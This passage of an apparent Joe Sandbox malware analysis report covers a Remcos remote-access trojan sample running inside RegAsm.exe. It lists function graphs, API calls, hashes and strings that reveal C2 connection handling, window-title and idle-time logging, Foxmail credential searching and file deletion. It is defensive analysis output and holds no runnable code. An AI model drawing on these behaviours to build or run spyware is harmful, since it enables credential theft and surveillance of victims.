                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                      • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 0040E9EE
                        • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                      • String ID: 8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Exe$Exe$Inj$PSG$Remcos Agent initialized$Rmc-F4JFYD$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                      • API String ID: 2830904901-1318343205
                      • Opcode ID: bd0e7ad7d737d5a41bcdd2bfe53a8f4adbf5941bb2cfc59ec7e318fa71a20079
                      • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                      • Opcode Fuzzy Hash: bd0e7ad7d737d5a41bcdd2bfe53a8f4adbf5941bb2cfc59ec7e318fa71a20079
                      • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                      Function 00414F2A Relevance: 49.8, APIs: 5, Strings: 23, Instructions: 809sleepnetworkCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 494 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 507 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 494->507 508 414f74-414f7b Sleep 494->508 523 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 507->523 524 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 507->524 508->507 577 4150ec-4150f3 523->577 578 4150de-4150ea 523->578 524->523 579 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 577->579 578->579 606 4151d5-4151e3 call 40482d 579->606 607 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 579->607 612 415210-415225 call 404f51 call 4048c8 606->612 613 4151e5-41520b call 402093 * 2 call 41b4ef 606->613 629 415aa3-415ab5 call 404e26 call 4021fa 607->629 612->629 630 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 612->630 613->629 643 415ab7-415ad7 call 401e65 call 401fab call 43baac Sleep 629->643 644 415add-415ae5 call 401e8d 629->644 694 415380-41538d call 405aa6 630->694 695 415392-4153b9 call 401fab call 4135a6 630->695 643->644 644->523 694->695 701 4153c0-415a0a call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 call 404aa1 call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 695->701 702 4153bb-4153bd 695->702 947 415a0f-415a16 701->947 702->701 948 415a18-415a1f 947->948 949 415a2a-415a31 947->949 948->949 952 415a21-415a23 948->952 950 415a33-415a38 call 40b051 949->950 951 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 949->951 950->951 963 415a71-415a7d CreateThread 951->963 964 415a83-415a9e call 401fd8 * 2 call 401f09 951->964 952->949 963->964 964->629
                      APIs
                      • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                      • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                      • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$ErrorLastLocalTime
                      • String ID: | $%I64u$5.1.0 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$Exe$PSG$Rmc-F4JFYD$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                      • API String ID: 524882891-176642185
                      • Opcode ID: 2117f9052cda7551caf118fe854b84dac2f6359838bcf9278a4dc679f350d922
                      • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                      • Opcode Fuzzy Hash: 2117f9052cda7551caf118fe854b84dac2f6359838bcf9278a4dc679f350d922
                      • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                      Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 971 412ab4-412afd GetModuleFileNameW call 4020df * 3 978 412aff-412b89 call 41b978 call 401fab call 40d9e8 call 401fd8 call 41b978 call 401fab call 40d9e8 call 401fd8 call 41b978 call 401fab call 40d9e8 call 401fd8 971->978 1003 412b8b-412c1b call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 978->1003 1026 412c2b 1003->1026 1027 412c1d-412c25 Sleep 1003->1027 1028 412c2d-412cbd call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 1026->1028 1027->1003 1027->1026 1051 412ccd 1028->1051 1052 412cbf-412cc7 Sleep 1028->1052 1053 412ccf-412d5f call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 1051->1053 1052->1028 1052->1051 1076 412d61-412d69 Sleep 1053->1076 1077 412d6f-412d94 1053->1077 1076->1053 1076->1077 1078 412d98-412db4 call 401f04 call 41c485 1077->1078 1083 412db6-412dc5 call 401f04 DeleteFileW 1078->1083 1084 412dcb-412de7 call 401f04 call 41c485 1078->1084 1083->1084 1091 412e04 1084->1091 1092 412de9-412e02 call 401f04 DeleteFileW 1084->1092 1094 412e08-412e24 call 401f04 call 41c485 1091->1094 1092->1094 1100 412e26-412e38 call 401f04 DeleteFileW 1094->1100 1101 412e3e-412e40 1094->1101 1100->1101 1103 412e42-412e44 1101->1103 1104 412e4d-412e58 Sleep 1101->1104 1103->1104 1106 412e46-412e4b 1103->1106 1104->1078 1107 412e5e-412e70 call 406b28 1104->1107 1106->1104 1106->1107 1110 412e72-412e80 call 406b28 1107->1110 1111 412ec6-412ee5 call 401f09 * 3 1107->1111 1110->1111 1117 412e82-412e90 call 406b28 1110->1117 1122 412eea-412f23 call 40b904 call 401f04 call 4020f6 call 41322d 1111->1122 1117->1111 1123 412e92-412ebe Sleep call 401f09 * 3 1117->1123 1138 412f28-412f4e call 401f09 call 405b05 1122->1138 1123->978 1137 412ec4 1123->1137 1137->1122 1143 412f54-4130a3 call 41bd1e call 41bb8e call 402f31 call 402f10 * 6 call 402ea1 call 402f10 call 402ea1 call 404aa1 call 401fd8 * 10 1138->1143 1144 4130a8-4131a1 call 41bd1e call 402f31 call 402f10 * 6 call 402ea1 call 404aa1 call 401fd8 * 7 1138->1144 1213 4131a5-41322c call 401fd8 call 401f09 call 401fd8 * 9 1143->1213 1144->1213
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63791986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                      • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                      • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                      • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                      • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                      • Sleep.KERNEL32(00000064), ref: 00412E94
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                      • String ID: /stext "$0TG$0TG$NG$NG
                      • API String ID: 1223786279-2576077980
                      • Opcode ID: 5b6c4c864a0e3d508841c4725e3bf675baf718406ed314e456a2f8ab4f3e8859
                      • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                      • Opcode Fuzzy Hash: 5b6c4c864a0e3d508841c4725e3bf675baf718406ed314e456a2f8ab4f3e8859
                      • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                      Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                        • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?), ref: 10001151
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                        • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                        • Part of subcall function 100010F1: FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                        • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                      • lstrlenW.KERNEL32(?), ref: 100014C5
                      • lstrlenW.KERNEL32(?), ref: 100014E0
                      • lstrlenW.KERNEL32(?,?), ref: 1000150F
                      • lstrcatW.KERNEL32(00000000), ref: 10001521
                      • lstrlenW.KERNEL32(?,?), ref: 10001547
                      • lstrcatW.KERNEL32(00000000), ref: 10001553
                      • lstrlenW.KERNEL32(?,?), ref: 10001579
                      • lstrcatW.KERNEL32(00000000), ref: 10001585
                      • lstrlenW.KERNEL32(?,?), ref: 100015AB
                      • lstrcatW.KERNEL32(00000000), ref: 100015B7
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                      • String ID: )$Foxmail$ProgramFiles
                      • API String ID: 672098462-2938083778
                      • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                      • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                      • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                      • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                      Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1286 414d86-414dc2 1287 414dc8-414ddd GetSystemDirectoryA 1286->1287 1288 414edd-414ee8 1286->1288 1289 414ed3 1287->1289 1290 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 1287->1290 1289->1288 1295 414e31-414e3b GetProcAddress 1290->1295 1296 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 1290->1296 1297 414e42-414e44 1295->1297 1298 414e3d-414e40 FreeLibrary 1295->1298 1309 414e82-414e8c GetProcAddress 1296->1309 1310 414ecf-414ed2 1296->1310 1297->1296 1300 414e97 1297->1300 1298->1297 1302 414e99-414eaa GetProcAddress 1300->1302 1304 414eb4-414eb7 FreeLibrary 1302->1304 1305 414eac-414eb0 1302->1305 1308 414eb9-414ebb 1304->1308 1305->1302 1307 414eb2 1305->1307 1307->1308 1308->1310 1311 414ebd-414ecd 1308->1311 1312 414e93-414e95 1309->1312 1313 414e8e-414e91 FreeLibrary 1309->1313 1310->1289 1311->1310 1311->1311 1312->1300 1312->1310 1313->1312
                      APIs
                      • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                      • LoadLibraryA.KERNEL32(?), ref: 00414E17
                      • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                      • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                      • LoadLibraryA.KERNEL32(?), ref: 00414E76
                      • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                      • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                      • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                      • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Library$AddressFreeProc$Load$DirectorySystem
                      • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                      • API String ID: 2490988753-744132762
                      • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                      • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                      • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                      • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                      Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • Sleep.KERNEL32(00001388), ref: 0040A740
                        • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                        • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                        • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                        • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                      • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                      • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                      • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                      • String ID: 8SG$8SG$pQG$pQG$PG$PG
                      • API String ID: 3795512280-1152054767
                      • Opcode ID: 9246c906b51f7ef76b321572192bfb08ffa2a7cb594671af2c3c76767c77d2b9
                      • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                      • Opcode Fuzzy Hash: 9246c906b51f7ef76b321572192bfb08ffa2a7cb594671af2c3c76767c77d2b9
                      • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                      Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1412 4048c8-4048e8 connect 1413 404a1b-404a1f 1412->1413 1414 4048ee-4048f1 1412->1414 1417 404a21-404a2f WSAGetLastError 1413->1417 1418 404a97 1413->1418 1415 404a17-404a19 1414->1415 1416 4048f7-4048fa 1414->1416 1419 404a99-404a9e 1415->1419 1420 404926-404930 call 420c60 1416->1420 1421 4048fc-404923 call 40531e call 402093 call 41b4ef 1416->1421 1417->1418 1422 404a31-404a34 1417->1422 1418->1419 1432 404941-40494e call 420e8f 1420->1432 1433 404932-40493c 1420->1433 1421->1420 1425 404a71-404a76 1422->1425 1426 404a36-404a6f call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 1422->1426 1428 404a7b-404a94 call 402093 * 2 call 41b4ef 1425->1428 1426->1418 1428->1418 1446 404950-404973 call 402093 * 2 call 41b4ef 1432->1446 1447 404987-404992 call 421a40 1432->1447 1433->1428 1473 404976-404982 call 420ca0 1446->1473 1458 4049c4-4049d1 call 420e06 1447->1458 1459 404994-4049c2 call 402093 * 2 call 41b4ef call 4210b2 1447->1459 1469 4049d3-4049f6 call 402093 * 2 call 41b4ef 1458->1469 1470 4049f9-404a14 CreateEventW * 2 1458->1470 1459->1473 1469->1470 1470->1415 1473->1418
                      APIs
                      • connect.WS2_32(FFFFFFFF,01EC4950,00000010), ref: 004048E0
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                      • WSAGetLastError.WS2_32 ref: 00404A21
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEvent$ErrorLastLocalTimeconnect
                      • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                      • API String ID: 994465650-2151626615
                      • Opcode ID: d7da62a631306c53fd24c0cc8f944035cfa8a700400d4a180607be604b6ae82f
                      • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                      • Opcode Fuzzy Hash: d7da62a631306c53fd24c0cc8f944035cfa8a700400d4a180607be604b6ae82f
                      • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                      Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                      • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                      • CloseHandle.KERNEL32(?), ref: 00404E4C
                      • closesocket.WS2_32(000000FF), ref: 00404E5A
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                      • CloseHandle.KERNEL32(?), ref: 00404EBF
                      • CloseHandle.KERNEL32(?), ref: 00404EC4
                      • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                      • CloseHandle.KERNEL32(?), ref: 00404ED6
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                      • String ID:
                      • API String ID: 3658366068-0
                      • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                      • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                      • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                      • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                      Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • __Init_thread_footer.LIBCMT ref: 0040AD38
                      • Sleep.KERNEL32(000001F4), ref: 0040AD43
                      • GetForegroundWindow.USER32 ref: 0040AD49
                      • GetWindowTextLengthW.USER32 ref: 0040AD52
                      • GetWindowTextW.USER32 ref: 0040AD86
                      • Sleep.KERNEL32(000003E8), ref: 0040AE54
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                      • String ID: [${ User has been idle for $ minutes }$]
                      • API String ID: 911427763-3954389425
                      • Opcode ID: 11deb2e1d1f8f3844bb158fc8ccdcdbeb0aecbc925d29af6944428c3672480c4
                      • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                      • Opcode Fuzzy Hash: 11deb2e1d1f8f3844bb158fc8ccdcdbeb0aecbc925d29af6944428c3672480c4
                      • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                      Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1584 40da34-40da59 call 401f86 1587 40db83-40dc1b call 401f04 GetLongPathNameW call 40417e * 2 call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1584->1587 1588 40da5f 1584->1588 1589 40da70-40da7e call 41b5b4 call 401f13 1588->1589 1590 40da91-40da96 1588->1590 1591 40db51-40db56 1588->1591 1592 40daa5-40daac call 41bfb7 1588->1592 1593 40da66-40da6b 1588->1593 1594 40db58-40db5d 1588->1594 1595 40da9b-40daa0 1588->1595 1596 40db6e 1588->1596 1597 40db5f-40db6c call 43c0cf 1588->1597 1617 40da83 1589->1617 1599 40db73 call 43c0cf 1590->1599 1591->1599 1609 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1592->1609 1610 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1592->1610 1593->1599 1594->1599 1595->1599 1596->1599 1597->1596 1611 40db79-40db7e call 409057 1597->1611 1612 40db78 1599->1612 1609->1617 1622 40da87-40da8c call 401f09 1610->1622 1611->1587 1612->1611 1617->1622 1622->1587
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LongNamePath
                      • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                      • API String ID: 82841172-425784914
                      • Opcode ID: 1365f17b8726d1e4c30e610cfd72c1161db55c192115e3ec262d1ce1c247f70f
                      • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                      • Opcode Fuzzy Hash: 1365f17b8726d1e4c30e610cfd72c1161db55c192115e3ec262d1ce1c247f70f
                      • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                      Function 0044AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
